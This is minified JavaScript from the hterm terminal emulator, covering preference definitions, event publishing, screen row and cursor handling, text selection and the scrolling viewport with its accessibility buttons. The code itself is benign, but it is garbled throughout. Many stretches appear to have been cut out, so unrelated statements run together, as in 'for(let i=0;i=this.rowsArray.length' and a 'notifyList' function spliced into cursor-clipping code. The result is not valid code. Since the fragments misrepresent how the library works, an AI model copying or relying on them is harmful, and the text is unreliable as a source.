handled by the browser. If false, `+`Meta+1..9 will be sent to the host. If null, autodetect based on `+`browser platform and window type.`),"pass-meta-v":hterm.PreferenceManager.definePref_("Meta+V paste behavior",hterm.PreferenceManager.Categories.Keyboard,true,"bool",`Whether Meta+V gets passed to the browser.\n`+`\n`+`On some systems, this is used to paste content.`),"paste-on-drop":hterm.PreferenceManager.definePref_("Allow drag & drop to paste",hterm.PreferenceManager.Categories.CopyPaste,true,"bool",`If true, Drag and dropped text will paste into terminal.\n`+`If false, dropped text will be ignored.`),"scroll-on-keystroke":hterm.PreferenceManager.definePref_("Scroll to bottom after keystroke",hterm.PreferenceManager.Categories.Scrolling,true,"bool",`Whether to scroll to the bottom on any keystroke.`),"scroll-on-output":hterm.PreferenceManager.definePref_("Scroll to bottom after new output",hterm.PreferenceManager.Categories.Scrolling,false,"bool",`Whether to scroll to the bottom on terminal output.`),"scrollbar-visible":hterm.PreferenceManager.definePref_("Scrollbar visibility",hterm.PreferenceManager.Categories.Scrolling,true,"bool",`The vertical scrollbar mode.`),"scroll-wheel-may-send-arrow-keys":hterm.PreferenceManager.definePref_("Emulate arrow keys with scroll wheel",hterm.PreferenceManager.Categories.Scrolling,false,"bool",`When using the alternative screen buffer, and DECCKM (Application `+`Cursor Keys) is active, mouse scroll wheel events will emulate arrow `+`keys.\n`+`\n`+`It can be temporarily disabled by holding the Shift key.\n`+`\n`+`This frequently comes up when using pagers (less) or reading man `+`pages or text editors (vi/nano) or using screen/tmux.`),"scroll-wheel-move-multiplier":hterm.PreferenceManager.definePref_("Mouse scroll wheel multiplier",hterm.PreferenceManager.Categories.Scrolling,1,"int",`The multiplier for mouse scroll wheel events when measured in `+`pixels.\n`+`\n`+`Alters how fast the page scrolls.`),"terminal-encoding":hterm.PreferenceManager.definePref_("Terminal encoding",hterm.PreferenceManager.Categories.Encoding,"utf-8",["iso-2022","utf-8","utf-8-locked"],`The default terminal encoding (DOCS).\n`+`\n`+`ISO-2022 enables character map translations (like graphics maps).\n`+`UTF-8 disables support for those.\n`+`\n`+`The locked variant means the encoding cannot be changed at runtime `+`via terminal escape sequences.\n`+`\n`+`You should stick with UTF-8 unless you notice broken rendering with `+`legacy applications.`),"shift-insert-paste":hterm.PreferenceManager.definePref_("Shift+Insert paste",hterm.PreferenceManager.Categories.Keyboard,true,"bool",`Whether Shift+Insert is used for pasting or is sent to the remote host.`),"user-css":hterm.PreferenceManager.definePref_("Custom CSS (URI)",hterm.PreferenceManager.Categories.Appearance,"","url",`URL of user stylesheet to include in the terminal document.`),"user-css-text":hterm.PreferenceManager.definePref_("Custom CSS (inline text)",hterm.PreferenceManager.Categories.Appearance,"","multiline-string",`Custom CSS text for styling the terminal.`),"allow-images-inline":hterm.PreferenceManager.definePref_("Allow inline image display",hterm.PreferenceManager.Categories.Extensions,null,"tristate",`Whether to allow the remote host to display images in the terminal.\n`+`\n`+`By default, we prompt until a choice is made.`)};hterm.PreferenceManager.prototype=Object.create(lib.PreferenceManager.prototype);hterm.PreferenceManager.constructor=hterm.PreferenceManager;hterm.PreferenceManager.prototype.setProfile=function(profileId,callback){lib.PreferenceManager.prototype.setPrefix.call(this,hterm.PreferenceManager.prefix_+profileId,callback)};hterm.PubSub=function(){this.observers_={}};hterm.PubSub.addBehavior=function(obj){const pubsub=new hterm.PubSub;for(const m in hterm.PubSub.prototype){obj[m]=hterm.PubSub.prototype[m].bind(pubsub)}};hterm.PubSub.prototype.subscribe=function(subject,callback){if(!(subject in this.observers_)){this.observers_[subject]=[]}this.observers_[subject].push(callback)};hterm.PubSub.prototype.unsubscribe=function(subject,callback){const list=this.observers_[subject];if(!list){throw new Error(`Invalid subject: ${subject}`)}const i=list.indexOf(callback);if(i<0){throw new Error(`Not subscribed: ${subject}`)}list.splice(i,1)};hterm.PubSub.prototype.publish=function(subject,e,lastCallback=undefined){function notifyList(i){if(i=count){this.setCursorPosition(this.cursorPosition.row,count-1)}};hterm.Screen.prototype.shiftRow=function(){return this.shiftRows(1)[0]};hterm.Screen.prototype.shiftRows=function(count){return this.rowsArray.splice(0,count)};hterm.Screen.prototype.unshiftRow=function(row){this.rowsArray.splice(0,0,row)};hterm.Screen.prototype.unshiftRows=function(rows){this.rowsArray.unshift.apply(this.rowsArray,rows)};hterm.Screen.prototype.popRow=function(){return this.popRows(1)[0]};hterm.Screen.prototype.popRows=function(count){return this.rowsArray.splice(this.rowsArray.length-count,count)};hterm.Screen.prototype.pushRow=function(row){this.rowsArray.push(row)};hterm.Screen.prototype.pushRows=function(rows){rows.push.apply(this.rowsArray,rows)};hterm.Screen.prototype.insertRow=function(index,row){this.rowsArray.splice(index,0,row)};hterm.Screen.prototype.insertRows=function(index,rows){for(let i=0;i=this.rowsArray.length){console.error("Row out of bounds: "+row);row=this.rowsArray.length-1}else if(row<0){console.error("Row out of bounds: "+row);row=0}if(column>=this.columnCount_){console.error("Column out of bounds: "+column);column=this.columnCount_-1}else if(column<0){console.error("Column out of bounds: "+column);column=0}this.cursorPosition.overflow=false;const rowNode=this.rowsArray[row];let node=rowNode.firstChild;if(!node){node=rowNode.ownerDocument.createTextNode("");rowNode.appendChild(node)}let currentColumn=0;if(rowNode==this.cursorRowNode_){if(column>=this.cursorPosition.column-this.cursorOffset_){node=this.cursorNode_;currentColumn=this.cursorPosition.column-this.cursorOffset_}}else{this.cursorRowNode_=rowNode}this.cursorPosition.move(row,column);while(node){const offset=column-currentColumn;const width=hterm.TextAttributes.nodeWidth(node);if(!node.nextSibling||width>offset){this.cursorNode_=node;this.cursorOffset_=offset;return}currentColumn+=width;node=node.nextSibling}};hterm.Screen.prototype.syncSelectionCaret=function(selection){try{selection.collapse(this.cursorNode_,this.cursorOffset_)}catch(firefoxIgnoredException){}};hterm.Screen.prototype.splitNode_=function(node,offset){const afterNode=node.cloneNode(false);const textContent=node.textContent;node.textContent=hterm.TextAttributes.nodeSubstr(node,0,offset);afterNode.textContent=hterm.wc.substr(textContent,offset);if(afterNode.textContent){node.parentNode.insertBefore(afterNode,node.nextSibling)}if(!node.textContent){node.remove()}};hterm.Screen.prototype.maybeClipCurrentRow=function(){let width=hterm.TextAttributes.nodeWidth(lib.notNull(this.cursorRowNode_));if(width<=this.columnCount_){if(this.cursorPosition.column>=this.columnCount_){this.setCursorPosition(this.cursorPosition.row,this.columnCount_-1);this.cursorPosition.overflow=true}return}const currentColumn=this.cursorPosition.column;this.setCursorPosition(this.cursorPosition.row,this.columnCount_-1);width=hterm.TextAttributes.nodeWidth(lib.notNull(this.cursorNode_));if(this.cursorOffset_hterm.TextAttributes.nodeWidth(row)){if(row.hasAttribute("line-overflow")&&row.nextSibling){position-=hterm.TextAttributes.nodeWidth(row);row=row.nextSibling}else{return[null,-1]}}return this.getNodeAndOffsetWithinRow_(row,position)};hterm.Screen.prototype.getNodeAndOffsetWithinRow_=function(row,position){for(let i=0;istartPosition){return}const lineFromRange=hterm.wc.substring(rowText,startPosition,hterm.wc.strWidth(rowText));const rightRegularExpression=new RegExp("^"+insideMatch+rightMatch);const found=lineFromRange.match(rightRegularExpression);if(!found){return}const expandedEnd=startPosition+hterm.wc.strWidth(found[0]);if(expandedEnd==-1||expandedEnd\"'^!@#$%&*,;:`‘“‹«]","[^\\s[\\](){}<>\"'^!@#$%&*,;:~.`’”›»]","[^\\s[\\](){}<>\"'^]*")};hterm.Screen.prototype.saveCursorAndState=function(vt){this.cursorState_.save(vt)};hterm.Screen.prototype.restoreCursorAndState=function(vt){this.cursorState_.restore(vt)};hterm.Screen.CursorState=function(screen){this.screen_=screen;this.cursor=null;this.textAttributes=null;this.GL=this.GR=this.G0=this.G1=this.G2=this.G3=null};hterm.Screen.CursorState.prototype.save=function(vt){this.cursor=vt.terminal.saveCursor();this.textAttributes=this.screen_.textAttributes.clone();this.GL=vt.GL;this.GR=vt.GR;this.G0=vt.G0;this.G1=vt.G1;this.G2=vt.G2;this.G3=vt.G3};hterm.Screen.CursorState.prototype.restore=function(vt){vt.terminal.restoreCursor(this.cursor);const tattrs=this.textAttributes.clone();tattrs.colorPaletteOverrides=this.screen_.textAttributes.colorPaletteOverrides;tattrs.syncColors();this.screen_.textAttributes=tattrs;vt.GL=this.GL;vt.GR=this.GR;vt.G0=this.G0;vt.G1=this.G1;vt.G2=this.G2;vt.G3=this.G3};hterm.RowProvider=function(){};hterm.RowProvider.prototype.getRowCount=function(){};hterm.RowProvider.prototype.getRowNode=function(index){};hterm.ScrollPort=function(rowProvider){hterm.PubSub.addBehavior(this);this.rowProvider_=rowProvider;this.characterSize=new hterm.Size(10,10);this.ruler_=null;this.selection=new hterm.ScrollPort.Selection(this);this.currentRowNodeCache_=null;this.previousRowNodeCache_={};this.lastScreenWidth_=0;this.lastScreenHeight_=0;this.selectionEnabled_=true;this.lastRowCount_=0;this.scrollWheelMultiplier_=1;this.lastTouch_={};this.screenPaddingSize=0;this.lineHeightPaddingSize=0;this.isScrolledEnd=true;this.currentScrollbarWidthPx=hterm.ScrollPort.DEFAULT_SCROLLBAR_WIDTH;this.ctrlVPaste=false;this.pasteOnDrop=true;this.div_=null;this.document_=null;this.screen_=null;this.timeouts_={};this.observers_={};this.ariaHiddenSelectionRows_=[];this.DEBUG_=false};hterm.ScrollPort.DEFAULT_SCROLLBAR_WIDTH=12;hterm.ScrollPort.Selection=function(scrollPort){this.scrollPort_=scrollPort;this.startRow=null;this.startNode=null;this.startOffset=0;this.endRow=null;this.endNode=null;this.endOffset=0;this.isMultiline=false;this.isCollapsed=true;this.autoScrollOnMouseMoveBound_=this.autoScrollOnMouseMove_.bind(this);this.autoScrollEnabled_=false;this.autoScrollDirection_=1;this.autoScrollInterval_=null;this.autoScrollDelta_=1};hterm.ScrollPort.Selection.prototype.findFirstChild=function(parent,childAry){let node=parent.firstChild;while(node){if(childAry.indexOf(node)!=-1){return node}if(node.childNodes.length){const rv=this.findFirstChild(node,childAry);if(rv){return rv}}node=node.nextSibling}return null};hterm.ScrollPort.Selection.prototype.autoScrollOnMouseMove_=function(e){const screenHeight=this.scrollPort_.lastScreenHeight_;this.autoScrollDirection_=e.pageY*2{this.startRow=anchorRow;this.startNode=selection.anchorNode;this.startOffset=selection.anchorOffset;this.endRow=focusRow;this.endNode=focusNode;this.endOffset=focusOffset};const focusFirst=()=>{this.startRow=focusRow;this.startNode=focusNode;this.startOffset=focusOffset;this.endRow=anchorRow;this.endNode=selection.anchorNode;this.endOffset=selection.anchorOffset};const selection=this.scrollPort_.getDocument().getSelection();const clear=()=>{this.startRow=null;this.startNode=null;this.startOffset=0;this.endRow=null;this.endNode=null;this.endOffset=0;this.isMultiline=false;this.isCollapsed=true};if(!selection){clear();return}this.isCollapsed=!selection||selection.isCollapsed;let anchorRow=selection.anchorNode;while(anchorRow&&anchorRow.nodeName!="X-ROW"){anchorRow=anchorRow.parentNode}if(!anchorRow){clear();return}let focusRow=selection.focusNode;let focusNode=focusRow;let focusOffset=selection.focusOffset;const focusIsStartOfTopRow=()=>{focusRow=this.scrollPort_.topFold_.nextSibling;focusNode=focusRow;focusOffset=0};const focusIsEndOfBottomRow=()=>{focusRow=this.scrollPort_.bottomFold_.previousSibling;focusNode=focusRow;while(focusNode.lastChild){focusNode=focusNode.lastChild}focusOffset=focusNode.length||0};if(focusRow===this.scrollPort_.topFold_){focusIsStartOfTopRow()}else if(focusRow===this.scrollPort_.bottomFold_){focusIsEndOfBottomRow()}while(focusRow&&focusRow.nodeName!="X-ROW"){focusRow=focusRow.parentNode}if(!focusRow){return}if(this.scrollPort_.autoScrollEnabled_){let node=this.scrollPort_.topFold_;while((node=node.previousSibling)!==null){if(node===focusRow){focusIsStartOfTopRow()}}node=this.scrollPort_.bottomFold_;while((node=node.nextSibling)!==null){if(node===focusRow){focusIsEndOfBottomRow()}}}if(anchorRow.rowIndexfocusRow.rowIndex){focusFirst()}else if(focusNode==selection.anchorNode){if(selection.anchorOffset{this.paintIframeContents_();if(callback){callback()}};onLoad()};hterm.ScrollPort.prototype.paintIframeContents_=function(){this.iframe_.contentWindow.addEventListener("resize",this.onResize_.bind(this));const doc=this.document_=this.iframe_.contentDocument;doc.body.style.cssText="margin: 0px;"+"padding: 0px;"+"height: 100%;"+"width: 100%;"+"overflow: hidden;"+"cursor: var(--hterm-mouse-cursor-style);"+"user-select: none;";const metaCharset=doc.createElement("meta");metaCharset.setAttribute("charset","utf-8");doc.head.appendChild(metaCharset);if(this.DEBUG_){this.document_.body.style.paddingTop=this.document_.body.style.paddingBottom="calc(var(--hterm-charsize-height) * 3)"}const style=doc.createElement("style");style.textContent="x-row {"+" display: block;"+" height: var(--hterm-charsize-height);"+" line-height: var(--hterm-charsize-height);"+"}";doc.head.appendChild(style);this.userCssLink_=doc.createElement("link");this.userCssLink_.setAttribute("rel","stylesheet");this.userCssText_=doc.createElement("style");doc.head.appendChild(this.userCssText_);this.screen_=doc.createElement("x-screen");this.screen_.setAttribute("contenteditable","true");this.screen_.setAttribute("spellcheck","false");this.screen_.setAttribute("autocomplete","off");this.screen_.setAttribute("autocorrect","off");this.screen_.setAttribute("autocapitalize","none");this.screen_.setAttribute("role","log");this.screen_.setAttribute("aria-live","off");this.screen_.setAttribute("aria-roledescription","Terminal");this.screen_.setAttribute("aria-readonly","true");this.screen_.setAttribute("tabindex","-1");this.screen_.style.cssText=` + background-color: rgb(var(--hterm-background-color)); + caret-color: transparent; + color: rgb(var(--hterm-foreground-color)); + display: block; + font-family: monospace; + font-size: 15px; + font-variant-ligatures: none; + height: 100%; + overflow-y: scroll; overflow-x: hidden; + white-space: pre; + width: 100%; + outline: none !important; + `;const el=f=>f;this.screen_.addEventListener("scroll",el(this.onScroll_.bind(this)));this.screen_.addEventListener("wheel",el(this.onScrollWheel_.bind(this)));this.screen_.addEventListener("touchstart",el(this.onTouch_.bind(this)));this.screen_.addEventListener("touchmove",el(this.onTouch_.bind(this)));this.screen_.addEventListener("touchend",el(this.onTouch_.bind(this)));this.screen_.addEventListener("touchcancel",el(this.onTouch_.bind(this)));this.screen_.addEventListener("copy",el(this.onCopy_.bind(this)));this.screen_.addEventListener("paste",el(this.onPaste_.bind(this)));this.screen_.addEventListener("drop",el(this.onDragAndDrop_.bind(this)));doc.body.addEventListener("keydown",this.onBodyKeyDown_.bind(this));const a11yButtonHeight=30;const a11yButtonBorder=1;const a11yButtonTotalHeight=a11yButtonHeight+2*a11yButtonBorder;const a11yButtonStyle=` + border-style: solid; + border-width: ${a11yButtonBorder}px; + color: rgb(var(--hterm-foreground-color)); + cursor: pointer; + font-family: monospace; + font-weight: bold; + height: ${a11yButtonHeight}px; + line-height: ${a11yButtonHeight}px; + padding: 0 8px; + position: fixed; + right: var(--hterm-screen-padding-size); + text-align: center; + z-index: 1; + `;this.scrollUpButton_=this.document_.createElement("div");this.scrollUpButton_.id="hterm:a11y:page-up";this.scrollUpButton_.innerText=hterm.msg("BUTTON_PAGE_UP",[],"Page up");this.scrollUpButton_.setAttribute("role","button");this.scrollUpButton_.style.cssText=a11yButtonStyle;this.scrollUpButton_.style.top=`${-a11yButtonTotalHeight}px`;this.scrollUpButton_.addEventListener("click",this.scrollPageUp.bind(this));this.scrollDownButton_=this.document_.createElement("div");this.scrollDownButton_.id="hterm:a11y:page-down";this.scrollDownButton_.innerText=hterm.msg("BUTTON_PAGE_DOWN",[],"Page down");this.scrollDownButton_.setAttribute("role","button");this.scrollDownButton_.style.cssText=a11yButtonStyle;this.scrollDownButton_.style.bottom=`${-a11yButtonTotalHeight}px`;this.scrollDownButton_.addEventListener("click",this.scrollPageDown.bind(this));this.optionsButton_=this.document_.createElement("div");this.optionsButton_.id="hterm:a11y:options";this.optionsButton_.innerText=hterm.msg("OPTIONS_BUTTON_LABEL",[],"Options");this.optionsButton_.setAttribute("role","button");this.optionsButton_.style.cssText=a11yButtonStyle;this.optionsButton_.style.bottom=`${-2*a11yButtonTotalHeight}px`;this.optionsButton_.addEventListener("click",this.publish.bind(this,"options"));doc.body.appendChild(this.scrollUpButton_);doc.body.appendChild(this.screen_);doc.body.appendChild(this.scrollDownButton_);doc.body.appendChild(this.optionsButton_);this.allowA11yButtonsToDisplay_=false;setTimeout(()=>{this.allowA11yButtonsToDisplay_=true},500);this.document_.addEventListener("selectionchange",()=>{this.selection.sync();if(!this.allowA11yButtonsToDisplay_){return}const accessibilityEnabled=this.accessibilityReader_&&this.accessibilityReader_.accessibilityEnabled;const selection=this.document_.getSelection();let selectedElement;if(selection.anchorNode&&selection.anchorNode.parentElement){selectedElement=selection.anchorNode.parentElement}if(accessibilityEnabled&&selectedElement==this.scrollUpButton_){this.scrollUpButton_.style.top=`${this.screenPaddingSize}px`}else{this.scrollUpButton_.style.top=`${-a11yButtonTotalHeight}px`}if(accessibilityEnabled&&selectedElement==this.scrollDownButton_){this.scrollDownButton_.style.bottom=`${this.screenPaddingSize}px`}else{this.scrollDownButton_.style.bottom=`${-a11yButtonTotalHeight}px`}if(accessibilityEnabled&&selectedElement==this.optionsButton_){this.optionsButton_.style.bottom=`${this.screenPaddingSize}px`}else{this.optionsButton_.style.bottom=`${-2*a11yButtonTotalHeight}px`}});this.rowNodes_=doc.createElement("div");this.rowNodes_.id="hterm:row-nodes";this.rowNodes_.style.cssText="display: block;"+"position: fixed;"+"overflow: hidden;"+"user-select: text;";this.screen_.appendChild(this.rowNodes_);this.topSelectBag_=doc.createElement("x-select-bag");this.topSelectBag_.style.cssText="display: block;"+"overflow: hidden;"+"height: var(--hterm-charsize-height);"+"white-space: pre;";this.bottomSelectBag_=this.topSelectBag_.cloneNode();this.topFold_=doc.createElement("x-fold");this.topFold_.id="hterm:top-fold-for-row-selection";this.topFold_.style.cssText=` + display: block; + height: var(--hterm-screen-padding-size); + `;this.rowNodes_.appendChild(this.topFold_);this.bottomFold_=this.topFold_.cloneNode();this.bottomFold_.id="hterm:bottom-fold-for-row-selection";this.rowNodes_.appendChild(this.bottomFold_);this.scrollArea_=doc.createElement("div");this.scrollArea_.id="hterm:scrollarea";this.scrollArea_.style.cssText="visibility: hidden";this.screen_.appendChild(this.scrollArea_);this.pasteTarget_=doc.createElement("textarea");this.pasteTarget_.id="hterm:ctrl-v-paste-target";this.pasteTarget_.setAttribute("tabindex","-1");this.pasteTarget_.setAttribute("aria-hidden","true");this.pasteTarget_.style.cssText="position: absolute;"+"height: 1px;"+"width: 1px;"+"left: 0px; "+"bottom: 0px;"+"opacity: 0";this.pasteTarget_.contentEditable=true;this.screen_.appendChild(this.pasteTarget_);this.pasteTarget_.addEventListener("textInput",this.handlePasteTargetTextInput_.bind(this));this.resize()};hterm.ScrollPort.prototype.setAccessibilityReader=function(accessibilityReader){this.accessibilityReader_=accessibilityReader};hterm.ScrollPort.prototype.scrollPageUp=function(){if(this.getTopRowIndex()==0){return}const i=this.getTopRowIndex();this.scrollRowToTop(i-this.visibleRowCount+1);this.assertiveAnnounce_()};hterm.ScrollPort.prototype.scrollPageDown=function(){if(this.isScrolledEnd){return}const i=this.getTopRowIndex();this.scrollRowToTop(i+this.visibleRowCount-1);this.assertiveAnnounce_()};hterm.ScrollPort.prototype.setFontFamily=function(fontFamily,smoothing=""){this.screen_.style.fontFamily=fontFamily;this.screen_.style.webkitFontSmoothing=smoothing;this.syncCharacterSize()};hterm.ScrollPort.prototype.getFontFamily=function(){return this.screen_.style.fontFamily};hterm.ScrollPort.prototype.setUserCssUrl=function(url){if(url){this.userCssLink_.setAttribute("href",url);if(!this.userCssLink_.parentNode){this.document_.head.appendChild(this.userCssLink_)}}else if(this.userCssLink_.parentNode){this.document_.head.removeChild(this.userCssLink_)}};hterm.ScrollPort.prototype.setUserCssText=function(text){this.userCssText_.textContent=text};hterm.ScrollPort.prototype.focus=function(){this.iframe_.focus();this.screen_.focus();this.publish("focus")};hterm.ScrollPort.prototype.blur=function(){this.screen_.blur()};hterm.ScrollPort.prototype.setBackgroundImage=function(image){this.screen_.style.backgroundImage=image};hterm.ScrollPort.prototype.setBackgroundSize=function(size){this.screen_.style.backgroundSize=size};hterm.ScrollPort.prototype.setBackgroundPosition=function(position){this.screen_.style.backgroundPosition=position};hterm.ScrollPort.prototype.setScreenPaddingSize=function(size){this.screenPaddingSize=size;this.resize()};hterm.ScrollPort.prototype.setLineHeightPaddingSize=function(size){this.lineHeightPaddingSize=size;this.syncCharacterSize()};hterm.ScrollPort.prototype.setCtrlVPaste=function(ctrlVPaste){this.ctrlVPaste=ctrlVPaste};hterm.ScrollPort.prototype.setPasteOnDrop=function(pasteOnDrop){this.pasteOnDrop=pasteOnDrop};hterm.ScrollPort.prototype.getScreenSize=function(){const size=this.screen_.getBoundingClientRect();const rightPadding=Math.max(this.screenPaddingSize,this.currentScrollbarWidthPx);return{height:size.height-2*this.screenPaddingSize,width:size.width-this.screenPaddingSize-rightPadding}};hterm.ScrollPort.prototype.getScreenWidth=function(){return this.getScreenSize().width};hterm.ScrollPort.prototype.getScreenHeight=function(){return this.getScreenSize().height};hterm.ScrollPort.prototype.getScrollbarX=function(){return this.screen_.getBoundingClientRect().width-this.currentScrollbarWidthPx};hterm.ScrollPort.prototype.getDocument=function(){return this.document_};hterm.ScrollPort.prototype.getScreenNode=function(){return this.screen_};hterm.ScrollPort.prototype.resetCache=function(){this.currentRowNodeCache_=null;this.previousRowNodeCache_={}};hterm.ScrollPort.prototype.setRowProvider=function(rowProvider){this.resetCache();this.rowProvider_=rowProvider;this.scheduleRedraw()};hterm.ScrollPort.prototype.invalidate=function(){let node=this.topFold_.nextSibling;while(node!=this.bottomFold_){const nextSibling=node.nextSibling;node.remove();node=nextSibling}this.previousRowNodeCache_=null;const topRowIndex=this.getTopRowIndex();const bottomRowIndex=this.getBottomRowIndex(topRowIndex);this.drawVisibleRows_(topRowIndex,bottomRowIndex)};hterm.ScrollPort.prototype.scheduleInvalidate=function(){if(this.timeouts_.invalidate){return}this.timeouts_.invalidate=setTimeout(()=>{delete this.timeouts_.invalidate;this.invalidate()})};hterm.ScrollPort.prototype.setFontSize=function(px){this.screen_.style.fontSize=px+"px";this.syncCharacterSize()};hterm.ScrollPort.prototype.getFontSize=function(){return parseInt(this.screen_.style.fontSize,10)};hterm.ScrollPort.prototype.measureCharacterSize=function(weight=""){let ruler=this.ruler_;if(!ruler){ruler=this.ruler_=this.document_.createElement("canvas")}const context=ruler.getContext("2d");context.font=`${weight} ${this.getFontSize()}px ${this.getFontFamily()}`;const heightBox=context.measureText("X█");const ascent=heightBox.actualBoundingBoxAscent||heightBox.fontBoundingBoxAscent;const descent=heightBox.actualBoundingBoxDescent||heightBox.fontBoundingBoxDescent;const widthBox=context.measureText("X");return new hterm.Size(widthBox.width,ascent+descent+this.lineHeightPaddingSize)};hterm.ScrollPort.prototype.syncCharacterSize=function(){this.characterSize=this.measureCharacterSize();this.resize()};hterm.ScrollPort.prototype.resize=function(){this.syncScrollbarWidth_();this.syncScrollHeight();this.syncRowNodesDimensions_();this.publish("resize",{scrollPort:this},()=>this.scheduleRedraw())};hterm.ScrollPort.prototype.assertiveAnnounce_=function(){if(!this.accessibilityReader_){return}const topRow=this.getTopRowIndex();const bottomRow=this.getBottomRowIndex(topRow);let percentScrolled=100*topRow/Math.max(1,this.rowProvider_.getRowCount()-this.visibleRowCount);percentScrolled=Math.min(100,Math.round(percentScrolled));let currentScreenContent=hterm.msg("ANNOUNCE_CURRENT_SCREEN_HEADER",[percentScrolled],"$1% scrolled,");currentScreenContent+="\n";for(let i=topRow;i<=bottomRow;++i){const node=this.fetchRowNode_(i);currentScreenContent+=node.textContent+"\n"}this.accessibilityReader_.assertiveAnnounce(currentScreenContent)};hterm.ScrollPort.prototype.syncRowNodesDimensions_=function(){const screenSize=this.getScreenSize();this.lastScreenWidth_=screenSize.width;this.lastScreenHeight_=screenSize.height;this.visibleRowCount=lib.f.smartFloorDivide(screenSize.height,this.characterSize.height);this.visibleRowsHeight=this.visibleRowCount*this.characterSize.height;this.visibleRowTopMargin=0;this.visibleRowBottomMargin=screenSize.height-this.visibleRowsHeight;this.topFold_.style.marginBottom=this.visibleRowTopMargin+"px";let topFoldOffset=0;let node=this.topFold_.previousSibling;while(node){topFoldOffset+=node.getBoundingClientRect().height;node=node.previousSibling}this.rowNodes_.style.width=screenSize.width+"px";this.rowNodes_.style.height=this.visibleRowsHeight+topFoldOffset+this.screenPaddingSize+"px";this.rowNodes_.style.left=this.screen_.offsetLeft+this.screenPaddingSize+"px";this.rowNodes_.style.top=this.screen_.offsetTop-topFoldOffset+"px"};hterm.ScrollPort.prototype.syncScrollbarWidth_=function(){const width=this.screen_.getBoundingClientRect().width-this.screen_.clientWidth;if(width>0){this.currentScrollbarWidthPx=width}};hterm.ScrollPort.prototype.syncScrollHeight=function(){this.lastRowCount_=this.rowProvider_.getRowCount();this.scrollArea_.style.height=this.characterSize.height*this.lastRowCount_+2*this.screenPaddingSize+this.visibleRowTopMargin+this.visibleRowBottomMargin+"px"};hterm.ScrollPort.prototype.scheduleRedraw=function(){if(this.timeouts_.redraw){return}this.timeouts_.redraw=setTimeout(()=>{delete this.timeouts_.redraw;this.redraw_()})};hterm.ScrollPort.prototype.updateScrollButtonState_=function(){const setButton=(button,disabled)=>{button.setAttribute("aria-disabled",disabled?"true":"false");button.style.opacity=disabled?.5:1};setButton(this.scrollUpButton_,this.getTopRowIndex()==0);setButton(this.scrollDownButton_,this.isScrolledEnd)};hterm.ScrollPort.prototype.redraw_=function(){this.resetSelectBags_();this.selection.sync();this.syncScrollHeight();this.currentRowNodeCache_={};const topRowIndex=this.getTopRowIndex();const bottomRowIndex=this.getBottomRowIndex(topRowIndex);this.drawTopFold_(topRowIndex);this.drawBottomFold_(bottomRowIndex);this.drawVisibleRows_(topRowIndex,bottomRowIndex);this.ariaHideOffscreenSelectionRows_(topRowIndex,bottomRowIndex);this.syncRowNodesDimensions_();this.previousRowNodeCache_=this.currentRowNodeCache_;this.currentRowNodeCache_=null;this.isScrolledEnd=this.getTopRowIndex()+this.visibleRowCount>=this.lastRowCount_;this.updateScrollButtonState_()};hterm.ScrollPort.prototype.drawTopFold_=function(topRowIndex){if(!this.selection.startRow||this.selection.startRow.rowIndex>=topRowIndex){if(this.rowNodes_.firstChild!=this.topFold_){this.rowNodes_.insertBefore(this.topFold_,this.rowNodes_.firstChild)}return}if(!this.selection.isMultiline||this.selection.endRow.rowIndex>=topRowIndex){if(this.selection.startRow.nextSibling!=this.topFold_){this.rowNodes_.insertBefore(this.topFold_,this.selection.startRow.nextSibling)}}else{if(this.selection.endRow.nextSibling!=this.topFold_){this.rowNodes_.insertBefore(this.topFold_,this.selection.endRow.nextSibling)}while(this.selection.startRow.nextSibling!=this.selection.endRow){this.rowNodes_.removeChild(this.selection.startRow.nextSibling)}}while(this.rowNodes_.firstChild!=this.selection.startRow){this.rowNodes_.removeChild(this.rowNodes_.firstChild)}};hterm.ScrollPort.prototype.drawBottomFold_=function(bottomRowIndex){if(!this.selection.endRow||this.selection.endRow.rowIndex<=bottomRowIndex){if(this.rowNodes_.lastChild!=this.bottomFold_){this.rowNodes_.appendChild(this.bottomFold_)}return}if(!this.selection.isMultiline||this.selection.startRow.rowIndex<=bottomRowIndex){if(this.bottomFold_.nextSibling!=this.selection.endRow){this.rowNodes_.insertBefore(this.bottomFold_,this.selection.endRow)}}else{if(this.bottomFold_.nextSibling!=this.selection.startRow){this.rowNodes_.insertBefore(this.bottomFold_,this.selection.startRow)}while(this.selection.startRow.nextSibling!=this.selection.endRow){this.rowNodes_.removeChild(this.selection.startRow.nextSibling)}}while(this.rowNodes_.lastChild!=this.selection.endRow){this.rowNodes_.removeChild(this.rowNodes_.lastChild)}};hterm.ScrollPort.prototype.drawVisibleRows_=function(topRowIndex,bottomRowIndex){const removeUntilNode=(currentNode,targetNode)=>{while(currentNode!=targetNode){if(!currentNode){throw new Error("Did not encounter target node")}if(currentNode==this.bottomFold_){throw new Error("Encountered bottom fold before target node")}const deadNode=currentNode;currentNode=currentNode.nextSibling;deadNode.remove()}};const selectionStartRow=this.selection.startRow;const selectionEndRow=this.selection.endRow;const bottomFold=this.bottomFold_;let node=this.topFold_.nextSibling;const targetDrawCount=Math.min(this.visibleRowCount,this.rowProvider_.getRowCount());for(let drawCount=0;drawCountbottomRowIndex)){row.setAttribute("aria-hidden","true");hiddenRows.push(row)}}checkRow(this.selection.startRow);checkRow(this.selection.endRow)};hterm.ScrollPort.prototype.resetSelectBags_=function(){if(this.topSelectBag_.parentNode){this.topSelectBag_.textContent="";this.topSelectBag_.remove()}if(this.bottomSelectBag_.parentNode){this.bottomSelectBag_.textContent="";this.bottomSelectBag_.remove()}};hterm.ScrollPort.prototype.cacheRowNode_=function(rowNode){this.currentRowNodeCache_[rowNode.rowIndex]=rowNode};hterm.ScrollPort.prototype.fetchRowNode_=function(rowIndex){let node;if(this.previousRowNodeCache_&&rowIndex in this.previousRowNodeCache_){node=this.previousRowNodeCache_[rowIndex]}else{node=this.rowProvider_.getRowNode(rowIndex)}if(this.currentRowNodeCache_){this.cacheRowNode_(node)}return node};hterm.ScrollPort.prototype.selectAll=function(){let firstRow;if(this.topFold_.nextSibling.rowIndex!=0){while(this.topFold_.previousSibling){this.topFold_.previousSibling.remove()}firstRow=this.fetchRowNode_(0);this.rowNodes_.insertBefore(firstRow,this.topFold_);this.syncRowNodesDimensions_()}else{firstRow=this.topFold_.nextSibling}const lastRowIndex=this.rowProvider_.getRowCount()-1;let lastRow;if(this.bottomFold_.previousSibling.rowIndex!=lastRowIndex){while(this.bottomFold_.nextSibling){this.bottomFold_.nextSibling.remove()}lastRow=this.fetchRowNode_(lastRowIndex);this.rowNodes_.appendChild(lastRow)}else{lastRow=this.bottomFold_.previousSibling}let focusNode=lastRow;while(focusNode.lastChild){focusNode=focusNode.lastChild}const 